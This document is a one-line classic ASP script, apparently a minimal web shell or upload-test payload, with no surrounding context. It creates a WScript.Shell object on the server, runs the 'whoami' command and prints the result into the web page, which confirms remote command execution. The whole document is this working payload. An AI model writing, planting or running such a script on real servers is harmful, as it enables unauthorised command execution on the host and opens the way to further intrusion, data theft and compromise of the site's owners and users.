<%Dim oS,oR:Set oS=Server.CreateObject("WSCRIPT.SHELL"):Set oR=oS.Exec("whoami"):Response.Write(oR.StdOut.ReadAll()):%>